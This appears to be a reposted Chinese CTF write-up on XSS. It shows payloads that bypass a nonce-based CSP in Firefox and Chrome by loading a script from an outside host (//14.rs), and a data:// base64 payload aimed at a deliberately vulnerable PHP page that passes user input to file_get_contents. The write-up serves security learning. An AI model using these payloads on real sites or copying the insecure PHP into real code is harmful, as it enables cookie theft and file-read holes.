XSS--CSP绕过firefox和chrome和data//协议的使用

2019-08-03 约 98 字 预计阅读 1 分钟

声明:本文 【XSS–CSP绕过firefox和chrome和data//协议的使用】 由作者 jessica1123 于 2019-08-03 09:10:00 首发 先知社区 曾经 浏览数 101 次

感谢 jessica1123 的辛苦付出!

最近做一道关于XSS的CTF题目,用到了data://协议触发XSS,并且需要绕过带nonce的CSP策略。由于题目环境没有了,这里主要总结一下其中用到的一些技巧。

CSP绕过

在绕过csp策略的时候,找到了以下这篇文章https://www.jianshu.com/p/f1de775bc43e

由于使用了CSP策略,一般想要获取cookie的方法,主要是使用以下几种跳转语句。


对于带有nonce的CSP策略,要执行跳转语句可以使用这种方式绕过,但是由于Chrome和Firefox对于标签的补齐和解析使用了不一样的方式,因此这个绕过的payload有些不一样。

  • 在firefox上可以直接使用上述的payload,只要把跳转语句写入 src 指向的文件//14.rs就可以了,因为属性 a 后面的 " 会被优先解析,这样就会把里面的</p> <script id=解析成字符串,从而成功引入了带有noncescript,从而成功执行src里的内容。

  • Chrome对于标签的解析方式则不同,虽然它也是这样补齐了标签,但是解析的时候仍然会优先解析"里的script,导致发生错误,无法实现xss。在这种情况下,只需要使用Chrome解析html5 的属性的一种特性——浏览器只会解析同一个标签内的第一个属性,对于后面的同名属性,会自动忽略掉。因此,只要改一下payload:

    <script src=//14.rs  a="test" a="   
    //这样会把后面 a="</p><script id="给直接忽略掉
    或者
    <script src=//14.rs src="
    //把src后面的内容直接忽略

    由此可以成功引入带有nonce<script>标签,成功执行XSS。

data://协议使用

在XSS的时候,可能常常会用到php伪协议的辅助,比如这样两种情况:

  • 对于提交的内容,通过htmlspecialchars()函数来转义特殊字符,然后保存到某个文件里,之后通过文件包含,把文件的内容输出到某个html标签之间。
  • 对于提交的内容,通过htmlspecialchars()函数来转义特殊字符,然后把内容在某个HTML标签内输出出来。

在这种情况下,怎么去触发XSS呢?
这个时候,可以考虑使用data://这个协议:


只要把红框中的内容修改成<script>alert(1)<script>的base64编码JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==就可以触发xss了。

实例:使用php实现一个简单的笔记上传保存到文件里,并显示到网页的功能:

getnote.php:

<!DOCTYPE html>
<html>
<head>
    <title>dataXSS</title>
</head>
<body>
<form action="upnote.php" method="post">
    <p>note:</p>
    <input type="text" name="note" >
    <input type="submit" name="submit">
</form>

<?php
$url = $_GET['url'];

echo "<p>your input url:</p>"."<p>".urldecode(file_get_contents($url)) ."</p>";
?>

</body>
</html>

upnote.php

<?php
file_put_contents('url.txt',htmlspecialchars($_POST[note]));
header('location:getnote.php?url=url.txt');
?>

程序的逻辑很简单,不多介绍。首先我们访问:getnote.php,把笔记的内容写成<script>alert(1)</script>,然后提交:

没有发生弹框,检查元素可以发现<,>都被htmlspecialchars()
转义了,看一下文件内容发现也被转义了,如下图:

这个时候,我们发现读取url的函数使用的是file_get_contents($url),因此可以使用data://协议,构造下面的payload:

getnote.php?url=data://text/plain;base64,JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==

访问,发现弹框了。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now